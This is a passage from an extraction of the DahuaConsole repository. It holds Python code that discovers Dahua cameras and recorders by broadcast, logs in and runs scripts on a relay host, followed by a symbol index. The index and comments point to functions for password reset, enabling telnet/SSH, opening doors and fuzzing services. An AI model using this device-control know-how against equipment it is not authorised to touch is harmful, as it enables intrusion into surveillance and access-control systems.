env_export = ';'.join('export {}={}'.format(var, env_export.get(var)) for var in env_export)
cmd = ''.join([env_export, cmd, script])
stdout = b''
stderr = b''
sftp = None
relay = None
"""
Generally not many embedded devices who has sftp support,
meaning it will most likely not support exec_command() and/or python either.
Just to avoid potential 'psh' hanging in embedded devices
"""
try:
sftp = self.relay.transport.open_session(timeout=timeout)
sftp.settimeout(timeout=timeout)
sftp.invoke_subsystem('sftp')
except Exception as e:
print('[custom_exec_command] (sftp)', repr(e))
return {"stdout": [], "stderr": ['embedded devices not supported']}
finally:
if sftp:
sftp.close()
try:
relay = self.relay.transport.open_session(timeout=timeout)
relay.settimeout(timeout=timeout)
relay.exec_command(cmd)
while True:
stdout = b''.join([stdout, relay.recv(4096)])
if relay.exit_status_ready():
break
""" Catch potential stderr from remote """
stderr = b''.join([stderr, relay.recv_stderr(4096)])
except Exception as e:
print('[custom_exec_command] (relay)', repr(e))
return {"stdout": [], "stderr": ['exec request failed on channel {}'.format(relay.get_id())]}
finally:
if relay:
relay.close()
stdout = stdout.decode('utf-8').split('\n')
stderr = stderr.decode('utf-8').split('\n')
""" return output in list, remove potential empty entries """
return {
"stdout": [x for x in stdout if x],
"stderr": [x for x in stderr if x]
}
def dh_discover(self, msg):
""" Device DHIP/DVRIP discover function """
cmd = msg.split()
dh_data = None
host = None
sock = None
remote_recvfrom = None
remote_ip = None
remote_port = None
usage = {
"dhip": "[host]",
"dvrip": "[host]"
}
if len(cmd) < 2 or len(cmd) > 3 or cmd[1] == '-h':
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return True
discover = cmd[1]
if discover == 'dhip':
if len(cmd) == 2:
dip = '239.255.255.251'
else:
dip = check_host(cmd[2])
if not dip:
log.failure("Invalid RHOST")
return False
dport = 37810
query_args = {
"method": "DHDiscover.search",
# "method": "deviceDiscovery.refresh",
# "method": "deviceDiscovery.ipScan",
# "method": "DHDiscover.setConfig",
# "method": "Security.getEncryptInfo",
# "method": "DevInit.account",
# "method": "PasswdFind.getDescript",
# "method": "PasswdFind.resetPassword",
# "method": "PasswdFind.checkAuthCode",
# "method": "DevInit.leAction",
# "method": "userManager.getCaps",
# "method": "DevInit.access",
# "method": "Security.modifyPwdOutSession",
"params": {
"mac": "",
"uni": 1
},
}
header = \
p64(0x2000000044484950, endian='big') + p64(0x0) + p32(len(json.dumps(query_args))) + \
p32(0x0) + p32(len(json.dumps(query_args))) + p32(0x0)
packet = header + json.dumps(query_args).encode('latin-1')
elif discover == 'dvrip':
if len(cmd) == 2:
dip = '255.255.255.255'
else:
dip = check_host(cmd[2])
if not dip:
log.failure("Invalid RHOST")
return False
dport = 5050
packet = p32(0xa3010001, endian='big') + (p32(0x0) * 3) + p32(0x02000000, endian='big') + (p32(0x0) * 3)
else:
log.failure('{}'.format(help_all(msg=cmd[0], usage=usage)))
return False
if self.relay_host:
script = r"""
import os, sys, socket, base64
socket.setdefaulttimeout(4)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
sock.sendto(base64.b64decode(os.getenv('PACKET')), (os.getenv('dip'),int(os.getenv('dport'))))
while True:
try:
dh_data, addr = sock.recvfrom(8196)
print({"host": addr[0],
"dh_data": base64.b64encode(dh_data)
})
except Exception as e:
# sys.stderr.write(repr(e))
break
sock.close()
"""
env_export = {
'PATH': '/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/local/sbin',
'PACKET': b64e(packet),
'dip': dip,
'dport': str(dport)
}
if not self.relay:
dh_data = init_relay(relay=self.relay_host, rhost=self.rhost, rport=self.rport, discover=discover)
if not dh_data:
return False
self.relay = dh_data.get('dh_relay')
remote_recvfrom = self.custom_exec_command(
cmd=';python -c ', script=sh_string(script), env_export=env_export)
else:
socket.setdefaulttimeout(3)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
self._debug("SEND", packet)
sock.sendto(packet, (dip, dport))
while True:
if self.relay:
for host in remote_recvfrom.get('stdout'):
x = ast.literal_eval(host)
dh_data = b64d(x.get('dh_data'))
remote_ip = x.get('host')
remote_port = dport
break
if len(remote_recvfrom.get('stdout')):
remote_recvfrom.get('stdout').remove(host)
else:
if len(remote_recvfrom.get('stderr')):
for stderr in remote_recvfrom.get('stderr'):
log.warning('[stderr] {}'.format(stderr))
return True
else:
try:
dh_data, addr = sock.recvfrom(4096)
remote_ip = addr[0]
remote_port = addr[1]
except (Exception, KeyboardInterrupt, SystemExit):
sock.close()
return True
log.success("dh_discover response from: {}:{}".format(remote_ip, remote_port))
self._debug("RECV", dh_data)
dh_data = dh_data[32:].decode('latin-1')
if discover == 'dhip':
dh_data = json.loads(dh_data.strip('\x00'))
print(json.dumps(dh_data, indent=4))
elif discover == 'dvrip':
bin_info = {
"Version": {
"Version": "{}.{}.{}.{}".format(
u16(dh_data[0:2]), u16(dh_data[2:4]), u16(dh_data[4:6]), u16(dh_data[6:8]))
},
"Network": {
"Hostname": dh_data[8:24].strip('\x00'),
"IPAddress": unbinary_ip(dh_data[24:28]),
"SubnetMask": unbinary_ip(dh_data[28:32]),
"DefaultGateway": unbinary_ip(dh_data[32:36]),
"DnsServers": unbinary_ip(dh_data[36:40]),
},
"AlarmServer": {
"Address": unbinary_ip(dh_data[40:44]),
"Port": u16(dh_data[44:46]),
"Unknown46-47": u8(dh_data[46:47]),
"Unknown47-48": u8(dh_data[47:48]),
},
"Email": {
"Address": unbinary_ip(dh_data[48:52]),
"Port": u16(dh_data[52:54]),
"Unknown54-55": u8(dh_data[54:55]),
"Unknown55-56": u8(dh_data[55:56]),
},
"Unknown": {
"Unknown56-50": unbinary_ip(dh_data[56:60]),
"Unknown60-62": u16(dh_data[60:62]),
"Unknown82-86": unbinary_ip(dh_data[82:86]),
"Unknown86-88": u16(dh_data[86:88]),
},
"Web": {
"Port": u16(dh_data[62:64]),
},
"HTTPS": {
"Port": u16(dh_data[64:66]),
},
"DVRIP": {
"TCPPort": u16(dh_data[66:68]),
"MaxConnections": u16(dh_data[68:70]),
"SSLPort": u16(dh_data[70:72]),
"UDPPort": u16(dh_data[72:74]),
"Unknown74-75": u8(dh_data[74:75]),
"Unknown75-76": u8(dh_data[75:76]),
"MCASTAddress": unbinary_ip(dh_data[76:80]),
"MCASTPort": u16(dh_data[80:82]),
},
}
log.info("Binary:\n{}".format(json.dumps(bin_info, indent=4)))
log.info("Ascii:\n{}".format(dh_data[88:].strip('\x00')))
def dh_connect(self, username=None, password=None, logon=None, force=False):
""" Initiate connection to device and handle possible calls from cmd line """
console = None
log.info(
color('logon type "{}" with proto "{}" at {}:{}'.format(logon, self.proto, self.rhost, self.rport), LGREEN)
)
if self.relay_host:
dh_data = init_relay(relay=self.relay_host, rhost=self.rhost, rport=self.rport)
if not dh_data:
return False
self.relay = dh_data.get('dh_relay')
self.remote = dh_data.get('dh_remote')
elif self.proto == 'http' or self.proto == 'https':
self.remote = DahuaHttp(self.rhost, self.rport, proto=self.proto, timeout=self.timeout)
else:
try:
self.remote = remote(self.rhost, self.rport, ssl=self.ssl, timeout=self.timeout)
except PwnlibException:
return False
if self.args.test:
self.header = self.proto_header()
return True
if not self.args.dump:
console = log.progress(color('Dahua Debug Console', YELLOW))
console.status(color('Trying', YELLOW))
if self.proto == 'dvrip' or self.proto == '3des':
if not self.dahua_dvrip_login(username=username, password=password, logon=logon):
if not self.args.dump:
if self.args.save:
console.success('Save host')
else:
console.failure(color("Failed", RED))
return False
else:
return False
elif self.proto == 'dhip' or self.proto == 'http' or self.proto == 'https':
if not self.dahua_dhip_login(username=username, password=password, logon=logon, force=force):
if not self.args.dump:
if self.args.save:
console.success('Save host')
else:
console.failure(color('Failed', RED))
return False
else:
return False
# Old devices fail and close connection
if logon != 'old_3des':
query_args = {
"method": "userManager.getActiveUserInfoAll",
"params": {
},
}
dh_data = self.send_call(query_args)
users = '{}'.format(help_msg('Active Users'))
if dh_data.get('params').get('users') is not None:
for user in dh_data.get('params').get('users'):
users += '{}@{} sinc
gitextract_a6zqxfdp/ ├── .gitignore ├── Console.py ├── LICENSE ├── README.md ├── connection.py ├── dahua.py ├── dahua_logon_modes.py ├── events.py ├── eventviewer.py ├── net.py ├── pwdmanager.py ├── relay.py ├── requirements.txt ├── servers.py └── utils.py
SYMBOL INDEX (150 symbols across 11 files)
FILE: Console.py
class DebugConsole (line 16) | class DebugConsole(Servers):
method __init__ (line 19) | def __init__(self, dargs):
method main_console (line 37) | def main_console(self):
method memory_info (line 298) | def memory_info():
method set_config (line 305) | def set_config(self, key, table):
method restore (line 324) | def restore(self, fd):
method connect (line 331) | def connect(self):
method dump (line 356) | def dump(self):
method quit_host (line 386) | def quit_host(self, quit_all=False, msg=None):
method dh_instance (line 442) | def dh_instance(self, show=False):
method prompt (line 472) | def prompt():
method dh_console (line 477) | def dh_console(self, msg):
method debug_instance (line 639) | def debug_instance(self, msg):
function main (line 731) | def main():
FILE: connection.py
class DahuaConnect (line 6) | class DahuaConnect(object):
method __init__ (line 7) | def __init__(self):
method restart_connection (line 18) | def restart_connection(self, host):
method connect_rhost (line 52) | def connect_rhost(
FILE: dahua.py
class DahuaFunctions (line 12) | class DahuaFunctions(Network):
method __init__ (line 14) | def __init__(
method run_cmd (line 48) | def run_cmd(self, msg):
method list_service (line 75) | def list_service(self, msg, fuzz=False):
method save_to_file (line 206) | def save_to_file(self, file_name, dh_data):
method help_service (line 222) | def help_service(self, msg):
method reboot (line 255) | def reboot(self, delay=1):
method logout (line 272) | def logout(self):
method config_members (line 313) | def config_members(self, msg):
method open_door (line 360) | def open_door(self, msg):
method telnetd_sshd (line 506) | def telnetd_sshd(self, msg):
method method_banned (line 567) | def method_banned(msg):
method fuzz_service (line 605) | def fuzz_service(self, msg):
method dev_storage (line 893) | def dev_storage(self):
method get_encrypt_info (line 952) | def get_encrypt_info(self):
method get_remote_info (line 979) | def get_remote_info(self, msg):
method delete_config (line 1178) | def delete_config(self, msg):
method new_config (line 1200) | def new_config(self, msg):
method set_ldap (line 1288) | def set_ldap(self):
method set_debug (line 1330) | def set_debug(self):
method u_boot (line 1381) | def u_boot(self, msg):
method network_sniffer_manager (line 1582) | def network_sniffer_manager(self, msg):
method interim_remote_diagnose (line 1722) | def interim_remote_diagnose(self, msg):
method net_app (line 2063) | def net_app(self, msg, callback=False):
method dlog (line 2514) | def dlog(self, msg):
method dh_test (line 2620) | def dh_test(self, msg):
method user_manager (line 2623) | def user_manager(self, msg):
FILE: dahua_logon_modes.py
function dahua_logon (line 9) | def dahua_logon(logon=None, query_args=None, username=None, password=Non...
function _compressor (line 339) | def _compressor(in_var, out):
function dahua_gen1_hash (line 360) | def dahua_gen1_hash(password):
function basic_auth (line 377) | def basic_auth(username, password):
function dahua_dvrip_md5_hash (line 382) | def dahua_dvrip_md5_hash(dh_random=None, username=None, password=None, s...
function dahua_gen2_md5_hash (line 391) | def dahua_gen2_md5_hash(
function dahua_digest_md5_hash (line 407) | def dahua_digest_md5_hash(dh_random=None, dh_realm=None, username=None, ...
function dahua_onvif_sha1_hash (line 418) | def dahua_onvif_sha1_hash(dh_random=None, password=None, device_random=F...
function dahua_gen0_hash (line 444) | def dahua_gen0_hash(dh_data, des_mode):
class _BaseDes (line 502) | class _BaseDes(object):
method __init__ (line 505) | def __init__(self):
method get_key (line 509) | def get_key(self):
method set_key (line 513) | def set_key(self, key):
class Des (line 518) | class Des(_BaseDes):
method __init__ (line 664) | def __init__(self, key):
method set_key (line 674) | def set_key(self, key):
method __string_to_bitlist (line 680) | def __string_to_bitlist(dh_data):
method __bitlist_to_string (line 685) | def __bitlist_to_string(dh_data):
method __permutate (line 690) | def __permutate(table, block):
method __create_sub_keys (line 698) | def __create_sub_keys(self):
method __des_crypt (line 721) | def __des_crypt(self, block, crypt_type):
method crypt (line 823) | def crypt(self, dh_data, crypt_type):
method encrypt (line 847) | def encrypt(self, dh_data):
method decrypt (line 851) | def decrypt(self, dh_data):
class TripleDes (line 856) | class TripleDes(_BaseDes):
method __init__ (line 859) | def __init__(self, key):
method set_key (line 868) | def set_key(self, key):
method encrypt (line 884) | def encrypt(self, dh_data):
method decrypt (line 891) | def decrypt(self, dh_data):
FILE: events.py
class DahuaEvents (line 6) | class DahuaEvents(DahuaConnect):
method __init__ (line 7) | def __init__(self):
method internal_event_manager (line 10) | def internal_event_manager(self, dh_data):
method local_event_handler (line 20) | def local_event_handler(self, dh_data):
FILE: eventviewer.py
function main (line 5) | def main():
FILE: net.py
function dahua_proto (line 12) | def dahua_proto(proto):
class Network (line 30) | class Network(object):
method __init__ (line 31) | def __init__(self):
method custom_can_recv (line 94) | def custom_can_recv(self, timeout=0.020):
method custom_connect_remote (line 121) | def custom_connect_remote(self, rhost, rport, timeout=10):
method custom_exec_command (line 128) | def custom_exec_command(self, cmd, script='', timeout=10, env_export=N...
method dh_discover (line 182) | def dh_discover(self, msg):
method dh_connect (line 387) | def dh_connect(self, username=None, password=None, logon=None, force=F...
method _sleep_check_socket (line 521) | def _sleep_check_socket(self, delay):
method _p2p_keepalive (line 558) | def _p2p_keepalive(self, delay):
method _check_for_keepalive (line 626) | def _check_for_keepalive(self, dh_data):
method client_notify (line 656) | def client_notify(self, dh_data):
method send_call (line 702) | def send_call(self, query_args=None, multicall=False, multicallsend=Fa...
method instance_service (line 869) | def instance_service(
method instance_create (line 992) | def instance_create(
method instance_destroy (line 1117) | def instance_destroy(self, method, _proc_id, object_id, detach=True, d...
method check_for_service (line 1159) | def check_for_service(self, service):
method event_manager (line 1183) | def event_manager(self, msg):
method event_manager_set_config (line 1236) | def event_manager_set_config(self):
method console_result (line 1409) | def console_result(self, msg, callback=False):
method device_discovery (line 1438) | def device_discovery(self, msg, callback=False):
method cleanup (line 1636) | def cleanup(self):
method _debug (line 1643) | def _debug(self, direction, packet):
method _p2p_len (line 1686) | def _p2p_len(self, dh_data):
method update_id (line 1733) | def update_id(self):
method p2p (line 1739) | def p2p(self, packet=None, recv=False, lock=True, timeout=60, login=Fa...
method dahua_dhip_login (line 1952) | def dahua_dhip_login(self, username=None, password=None, logon=None, f...
method dahua_dvrip_login (line 2111) | def dahua_dvrip_login(self, username=None, password=None, logon=None):
method proto_header (line 2242) | def proto_header(self):
method subscribe_notify (line 2252) | def subscribe_notify(self, status=False):
FILE: pwdmanager.py
class PwdManager (line 5) | class PwdManager(object):
method __init__ (line 7) | def __init__(self):
method dvrip (line 10) | def dvrip(self, rhost=None, username=None, password=None, proto=None, ...
method dhip (line 49) | def dhip(self, rhost=None, query_args=None, username=None, password=No...
method read_hosts (line 92) | def read_hosts():
method write_hosts (line 102) | def write_hosts(dh_data):
method get_relay (line 114) | def get_relay(self, rhost=None):
method save_host (line 122) | def save_host(self, rhost, rport, proto, username, password, dh_realm,...
method get_host (line 178) | def get_host(self, host=None, dh_realm=None):
method find_host (line 196) | def find_host(self, host=None):
FILE: relay.py
function custom_checksec (line 10) | def custom_checksec(host, port, message):
function init_relay (line 19) | def init_relay(relay=None, rhost=None, rport=None, discover=False):
class DahuaHttp (line 95) | class DahuaHttp(object):
method __del__ (line 96) | def __del__(self):
method __init__ (line 102) | def __init__(self, rhost, rport, proto, timeout=60):
method send (line 143) | def send(self, url=None, query_args=None, login=False, timeout=5):
method _get_url (line 202) | def _get_url(login, url):
method _update_host (line 211) | def _update_host(self):
method _init_uri (line 217) | def _init_uri(self):
method _error (line 221) | def _error(dh_error=None, code=500):
method options (line 225) | def options(self):
method post (line 234) | def post(self, url, query_args, timeout):
method get (line 238) | def get(self, url, timeout):
method open_stream (line 242) | def open_stream(self, session_id):
method recv_stream (line 249) | def recv_stream(self):
method can_recv (line 254) | def can_recv():
method connected (line 260) | def connected():
method close (line 264) | def close(self):
FILE: servers.py
class Servers (line 8) | class Servers(DahuaEvents):
method __init__ (line 9) | def __init__(self):
method terminate_daemons (line 15) | def terminate_daemons(self):
method event_in_out_server (line 64) | def event_in_out_server(self):
FILE: utils.py
function color (line 24) | def color(dtext, dcolor):
function fix_json (line 28) | def fix_json(mess):
function help_msg (line 58) | def help_msg(dh_data):
function help_all (line 63) | def help_all(msg, usage):
function check_ip (line 132) | def check_ip(ip_addr):
function check_port (line 149) | def check_port(port):
function check_host (line 162) | def check_host(addr):
function binary_ip (line 176) | def binary_ip(host, endian="big"):
function unbinary_ip (line 190) | def unbinary_ip(host, endian="big"):
Condensed preview — 15 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (310K chars).
[
{
"path": ".gitignore",
"chars": 48,
"preview": "__pycache__/\n.idea/\n.git/\nbackup/\n*.json\n/venv/\n"
},
{
"path": "Console.py",
"chars": 32997,
"preview": "#!/usr/bin/env python3\n\n\"\"\"\nAuthor: bashis <mcw noemail eu> 2019-2021\nSubject: Dahua Debug Console\n\"\"\"\nimport argparse\ni"
},
{
"path": "LICENSE",
"chars": 1063,
"preview": "MIT License\n\nCopyright (c) 2021 bashis\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof "
},
{
"path": "README.md",
"chars": 2863,
"preview": "# Dahua Console\n\n- Version: Pre-alpha\n- Bugs: Indeed\n- TODO: Lots of stuff\n\n[Install requirements]\n```text\nsudo pip3 ins"
},
{
"path": "connection.py",
"chars": 3548,
"preview": "from utils import *\nfrom pwdmanager import PwdManager\nfrom dahua import DahuaFunctions\n\n\nclass DahuaConnect(object):\n "
},
{
"path": "dahua.py",
"chars": 101150,
"preview": "import copy\n\nfrom Crypto.PublicKey import RSA\nfrom OpenSSL import crypto\nfrom pathlib import Path\n\n\"\"\" Local imports \"\"\""
},
{
"path": "dahua_logon_modes.py",
"chars": 28284,
"preview": "from utils import *\nfrom datetime import datetime\n\n\"\"\" For Dahua DES/3DES \"\"\"\nENCRYPT = 0x00\nDECRYPT = 0x01\n\n\ndef dahua_"
},
{
"path": "events.py",
"chars": 11141,
"preview": "import _thread\nfrom utils import *\nfrom connection import DahuaConnect\n\n\nclass DahuaEvents(DahuaConnect):\n def __init"
},
{
"path": "eventviewer.py",
"chars": 862,
"preview": "#!/usr/bin/env python3\nfrom utils import *\n\n\ndef main():\n\t\"\"\" Simple Event Viewer \"\"\"\n\tevents = None\n\ttry:\n\t\tevents = re"
},
{
"path": "net.py",
"chars": 87709,
"preview": "import ast\nimport ndjson\nimport copy\nimport inspect\nimport _thread\n\nfrom utils import *\nfrom pwdmanager import PwdManage"
},
{
"path": "pwdmanager.py",
"chars": 7401,
"preview": "from utils import *\nfrom dahua_logon_modes import dahua_logon, dahua_gen1_hash, dahua_gen2_md5_hash, dahua_onvif_sha1_ha"
},
{
"path": "relay.py",
"chars": 9291,
"preview": "import requests\nfrom requests import packages\nfrom requests.packages import urllib3\nfrom requests.packages.urllib3 impor"
},
{
"path": "requirements.txt",
"chars": 107,
"preview": "pwntools>=4.3.1\nndjson>=0.3.1\npycryptodome>=3.9.7\ntzlocal>=2.1\npyOpenSSL>=19.1.0\nrequests>=2.20.0\npwn~=1.0\n"
},
{
"path": "servers.py",
"chars": 5571,
"preview": "import select\nimport queue\nimport _thread\nfrom utils import *\nfrom events import DahuaEvents\n\n\nclass Servers(DahuaEvents"
},
{
"path": "utils.py",
"chars": 4419,
"preview": "import json\nfrom json.decoder import JSONDecodeError\nfrom pwn import *\n\"\"\"Just to keep out error warnings in PyCharm\"\"\"\n"
}
]
About this extraction
This page contains the full source code of the mcw0/DahuaConsole GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 15 files (289.5 KB), approximately 65.3k tokens, and a symbol index with 150 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.